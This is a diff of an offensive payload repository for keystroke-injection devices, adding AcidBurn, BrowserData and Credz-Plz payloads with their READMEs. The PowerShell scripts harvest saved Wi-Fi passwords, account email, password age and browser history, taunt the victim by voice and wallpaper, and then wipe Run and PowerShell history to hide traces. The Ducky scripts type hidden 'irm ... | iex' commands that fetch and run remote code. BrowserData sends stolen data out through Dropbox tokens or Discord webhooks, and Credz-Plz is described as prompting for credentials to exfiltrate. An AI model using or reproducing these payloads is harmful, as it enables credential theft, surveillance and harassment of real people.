||||||
|
|
||||||
|
|
||||||
|
# This will open up notepad with all their saved networks and passwords and taunt them
|
||||||
|
|
||||||
|
|
||||||
|
$s.Speak("wanna see something really cool?")
|
||||||
|
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
||||||
|
$s.Speak("Look at all your other passswords I got..")
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
$s.Speak("These are the wifi passwords for every network you've ever connected to!")
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
$s.Speak("I could send them to myself but i wont")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "All Wifi Passes Done"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Password last Set
|
||||||
|
This function will custom tailor a response based on how long it has been since they last changed their password
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
function Get-Days_Set {
|
||||||
|
|
||||||
|
#-----VARIABLES-----#
|
||||||
|
# $pls (password last set) = the date/time their password was last changed
|
||||||
|
# $days = the number of days since their password was last changed
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls
|
||||||
|
$plsPOS = $pls.IndexOf("e")
|
||||||
|
$pls = $pls.Substring($plsPOS+2).Trim()
|
||||||
|
$pls = $pls -replace ".{3}$"
|
||||||
|
$time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
|
||||||
|
$DateArray =$time.Split(".")
|
||||||
|
$days = [int]$DateArray[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no password set date is detected function will return $null to cancel Sapi Speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "Day password set not found"
|
||||||
|
return $null
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
$newPass = "$pls was the last time you changed your password... You changed your password $days days ago.. I have to applaud you.. at least you change your password often. Still did not stop me! "
|
||||||
|
|
||||||
|
$avgPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, really starting to push it, i mean look i am here. that tells you something "
|
||||||
|
|
||||||
|
$oldPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, you were basically begging me to hack you, well here i am! "
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if($days -lt 45) { return $newPass
|
||||||
|
|
||||||
|
}elseif($days -gt 44 -and $days -lt 182) { return $avgPASS
|
||||||
|
|
||||||
|
}else { return $oldPASS
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Pass last set Done"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Get Email
|
||||||
|
This function will custom tailor a response based on what type of email the target has
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-email {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
|
||||||
|
|
||||||
|
$emailpos = $email.IndexOf("@")
|
||||||
|
|
||||||
|
$domain = $email.Substring($emailpos+1) #.TrimEnd(".com")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no email is detected function will return backup message for sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "An email was not found"
|
||||||
|
return "you're lucky you do not have your email connected to your account, I would have really had some fun with you then lol"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
$gmailResponse = "At least you use G Mail.. we should be friends. If you are down just email me back, ill message you at $email. That is your email right?"
|
||||||
|
$yahooResponse = "a yahoo account seriously? you are either in your 50's or just got done doing some time, a lot of it.. $email .. this is sad"
|
||||||
|
$hotmailResponse = "really?. you have a hotmail account? $email .. I am sending this to the f b I they need to check your hard drive"
|
||||||
|
$otherEmailResponse = "I dead ass do not even know what this is.. $email .. hope you did not think it was safe"
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if($email -like '*gmail*') { return $gmailResponse
|
||||||
|
|
||||||
|
}elseif($email -like '*yahoo*') { return $yahooResponse
|
||||||
|
|
||||||
|
}elseif($email -like '*hotmail*') { return $hotmailResponse
|
||||||
|
|
||||||
|
}else { return $otherEmailResponse}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Email Done"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Messages
|
||||||
|
This function will run all the previous functions and assign their outputs to variables
|
||||||
|
#>
|
||||||
|
|
||||||
|
$intro = "$fullName , it has been a long time my friend"
|
||||||
|
|
||||||
|
$RAMwarn = Get-RAM
|
||||||
|
|
||||||
|
$PUB_IPwarn = Get-PubIP
|
||||||
|
|
||||||
|
$PASSwarn = Get-Pass
|
||||||
|
|
||||||
|
$LAST_PASSwarn = Get-Days_Set
|
||||||
|
|
||||||
|
$EMAILwarn = Get-email
|
||||||
|
|
||||||
|
$OUTRO = "My crime is that of curiosity.... and yea curiosity killed the cat.... but satisfaction brought him back.... later $fullName"
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Speak Variables set"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
# This turns the volume up to max level--------------------------------------------------------------------
|
||||||
|
|
||||||
|
#$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Volume to max level"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
These two snippets are meant to be used as indicators to let you know the script is set up and ready
|
||||||
|
This will display a pop up window saying "hello $fullname"
|
||||||
|
Or this makes the CapsLock indicator light blink however many times you set it to
|
||||||
|
if you do not want the ready notice to pop up or the CapsLock light to blink comment them out below
|
||||||
|
#>
|
||||||
|
|
||||||
|
# a popup will be displayed before freezing the script while waiting for the cursor to move to continue the script
|
||||||
|
# else capslock light will blink as an indicator
|
||||||
|
$popmessage = "Hello $fullName"
|
||||||
|
|
||||||
|
|
||||||
|
$readyNotice = New-Object -ComObject Wscript.Shell;$readyNotice.Popup($popmessage)
|
||||||
|
|
||||||
|
|
||||||
|
# caps lock indicator light
|
||||||
|
$blinks = 3;$o=New-Object -ComObject WScript.Shell;for ($num = 1 ; $num -le $blinks*2; $num++){$o.SendKeys("{CAPSLOCK}");Start-Sleep -Milliseconds 250}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Then the script will be paused until the mouse is moved
|
||||||
|
script will check mouse position every indicated number of seconds
|
||||||
|
This while loop will constantly check if the mouse has been moved
|
||||||
|
"CAPSLOCK" will be continuously pressed to prevent screen from turning off
|
||||||
|
it will then sleep for the indicated number of seconds and check again
|
||||||
|
when mouse is moved it will break out of the loop and continue the script
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
echo "it worked"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
# this is where your message is spoken line by line
|
||||||
|
|
||||||
|
$s=New-Object -ComObject SAPI.SpVoice
|
||||||
|
|
||||||
|
# This sets how fast Sapi Speaks
|
||||||
|
|
||||||
|
$s.Rate = -1
|
||||||
|
|
||||||
|
$s.Speak($intro)
|
||||||
|
|
||||||
|
$s.Speak($RAMwarn)
|
||||||
|
|
||||||
|
$s.Speak($PUB_IPwarn)
|
||||||
|
|
||||||
|
$s.Speak($PASSwarn)
|
||||||
|
|
||||||
|
WallPaper-Troll
|
||||||
|
|
||||||
|
$s.Speak($LAST_PASSwarn)
|
||||||
|
|
||||||
|
$s.Speak($EMAILwarn)
|
||||||
|
|
||||||
|
$s.Speak($OUTRO)
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
# this snippet will leave a message on your targets desktop
|
||||||
|
|
||||||
|
$message = "`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back"
|
||||||
|
|
||||||
|
Add-Content $home\Desktop\WithLove.txt $message
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# This script repeatedly presses the capslock button, this snippet will make sure capslock is turned back off
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
||||||
|
|
||||||
|
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
||||||
|
if ($caps -eq $true){
|
||||||
|
|
||||||
|
$key = New-Object -ComObject WScript.Shell
|
||||||
|
$key.SendKeys('{CapsLock}')
|
||||||
|
}
|
||||||
16
Payloads/AcidBurn/AcidBurn.txt
Normal file
16
Payloads/AcidBurn/AcidBurn.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
REM Title: AcidBurn
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to torment your target to the fullest extent. Mission to recon then roast. See README.md for more details
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass irm https://jakoby.lol/zyg | iex
|
||||||
|
ENTER
|
||||||
129
Payloads/AcidBurn/README.md
Normal file
129
Payloads/AcidBurn/README.md
Normal file
|
|
@ -0,0 +1,129 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Acid Burn
|
||||||
|
|
||||||
|
A script I put together to torment Call Center Scammers but can be used on your friends as well...or foes.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program enumerates a target PC to include Operating System, RAM Capacity, Public IP, and Email associated with the Microsoft account.
|
||||||
|
The SSID and WiFi password of any current or previously connected to networks.
|
||||||
|
It determines the last day they changed their password and how many days ago.
|
||||||
|
Once the information is gathered, the script will pause until a mouse movement is detected.
|
||||||
|
Then, the script uses Sapi speak to roast their set up and lack of security.
|
||||||
|
If wifi networks and passwords are detected, the wallpaper will be changed to an image displaying that information.
|
||||||
|
The generated image will be saved to the desktop and steganography is used to put a hidden message at the bottom of the binary output of the generated image.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass irm jakoby.lol/zyg | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
* Enumerate and get Full Name, Amount of RAM, Public IP, Wifi Password Length, Wifi Networks and Passwords, Day Password was last changed, Email
|
||||||
|
* Custom responses have been programmed to roast the target based on the information gathered during enumeration phase
|
||||||
|
* Wifi Networks and passwords will be generated into an image that will be saved on the desktop
|
||||||
|
* Image opened in notepad will reveal a hidden message at the bottom of the binary output
|
||||||
|
* Script will freeze until a mouse movement is detected
|
||||||
|
* Sapi Speak will be used to speak out loud the custom responses
|
||||||
|
* Desktop wallpaper will be changed to the image of the targets Wifi Networks and Passwords
|
||||||
|
* Text file will be left on the target desktop with whatever message you choose
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
Arf
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
* [0iphor13](https://github.com/0iphor13)
|
||||||
|
* [PhilSutter](https://github.com/PhilSutter)
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
BIN
Payloads/AcidBurn/hacked-wallpaper.jpg
Normal file
BIN
Payloads/AcidBurn/hacked-wallpaper.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 76 KiB |
89
Payloads/BrowserData/README.md
Normal file
89
Payloads/BrowserData/README.md
Normal file
|
|
@ -0,0 +1,89 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#The-Function">The Function</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Get-BrowserData
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<a href="https://youtu.be/2qkgQAwDZgk">
|
||||||
|
<img src=https://i.ytimg.com/vi/2qkgQAwDZgk/maxresdefault.jpg width="300" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube Tutorial
|
||||||
|
</p>
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This payload can be used to retrieve the browsing history and bookmarks from Edge, Chrome, Opera GX, and Firefox (no bookmarks from firefox currently).
|
||||||
|
|
||||||
|
They are then exfiled using either Discord or Dropbox.
|
||||||
|
|
||||||
|
## The Function
|
||||||
|
|
||||||
|
### [Get-BrowserData]
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
* You no longer need to host your own version of this script
|
||||||
|
* $db is the variable that holds your DropBox token
|
||||||
|
* $dc is the variable that holds your Discord webhook
|
||||||
|
* Fill in either variable or both to set your exfil method
|
||||||
|
|
||||||
|
SYNTAX:
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/hgw | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [UberGuidoZ](https://github.com/UberGuidoZ)
|
||||||
102
Payloads/BrowserData/browserData.ps1
Normal file
102
Payloads/BrowserData/browserData.ps1
Normal file
|
|
@ -0,0 +1,102 @@
|
||||||
|
function Get-BrowserData {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter (Position=1,Mandatory = $True)]
|
||||||
|
[string]$Browser,
|
||||||
|
[Parameter (Position=1,Mandatory = $True)]
|
||||||
|
[string]$DataType
|
||||||
|
)
|
||||||
|
|
||||||
|
$Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
|
||||||
|
|
||||||
|
if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"}
|
||||||
|
elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"}
|
||||||
|
elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"}
|
||||||
|
elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"}
|
||||||
|
elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"}
|
||||||
|
elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\History"}
|
||||||
|
elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks"}
|
||||||
|
|
||||||
|
$Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
|
||||||
|
$Value | ForEach-Object {
|
||||||
|
$Key = $_
|
||||||
|
if ($Key -match $Search){
|
||||||
|
New-Object -TypeName PSObject -Property @{
|
||||||
|
User = $env:UserName
|
||||||
|
Browser = $Browser
|
||||||
|
DataType = $DataType
|
||||||
|
Data = $_
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "edge" -DataType "history" >> $env:TMP\--BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "edge" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "chrome" -DataType "history" >> $env:TMP\--BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP--BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\--BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "opera" -DataType "history" >> $env:TMP\--BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "opera" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt
|
||||||
|
|
||||||
|
# Upload output file to dropbox
|
||||||
|
|
||||||
|
function DropBox-Upload {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
|
||||||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[Alias("f")]
|
||||||
|
[string]$SourceFilePath
|
||||||
|
)
|
||||||
|
$outputFile = Split-Path $SourceFilePath -leaf
|
||||||
|
$TargetFilePath="/$outputFile"
|
||||||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
$authorization = "Bearer " + $db
|
||||||
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
$headers.Add("Authorization", $authorization)
|
||||||
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||||||
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\--BrowserData.txt}
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\--BrowserData.txt}
|
||||||
|
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
RI $env:TEMP/--BrowserData.txt
|
||||||
17
Payloads/BrowserData/browserData.txt
Normal file
17
Payloads/BrowserData/browserData.txt
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
REM Title: Browser-Data
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload will grab your targets brosing history and bookmarks from IE, Chrome, Firefox, and Opera GX.
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/hgw | iex
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM Fill in either variable or both to set your exfil method.
|
||||||
|
REM $db is the variable that holds your DropBox token.
|
||||||
|
REM $dc is the variable that holds your Discord webhook.
|
||||||
|
REM If you are using DropBox, also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly.
|
||||||
19
Payloads/Credz-Plz/Credz-Plz-Execute.txt
Normal file
19
Payloads/Credz-Plz/Credz-Plz-Execute.txt
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
REM Title: Credz-Plz
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload prompts the target to enter their creds to later be exfiltrated with either Dropbox or a Discord webhook.
|
||||||
|
|
||||||
|
REM See README.md file for more details.
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/35k | iex
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM Fill in either variable or both to set your exfil method.
|
||||||
|
REM $db is the variable that holds your DropBox token.
|
||||||
|
REM $dc is the variable that holds your Discord webhook.
|
||||||
|
REM If you are using DropBox, also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly.
|
||||||
239
Payloads/Credz-Plz/Credz-Plz.ps1
Normal file
239
Payloads/Credz-Plz/Credz-Plz.ps1
Normal file
|
|
@ -0,0 +1,239 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Credz-Plz | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
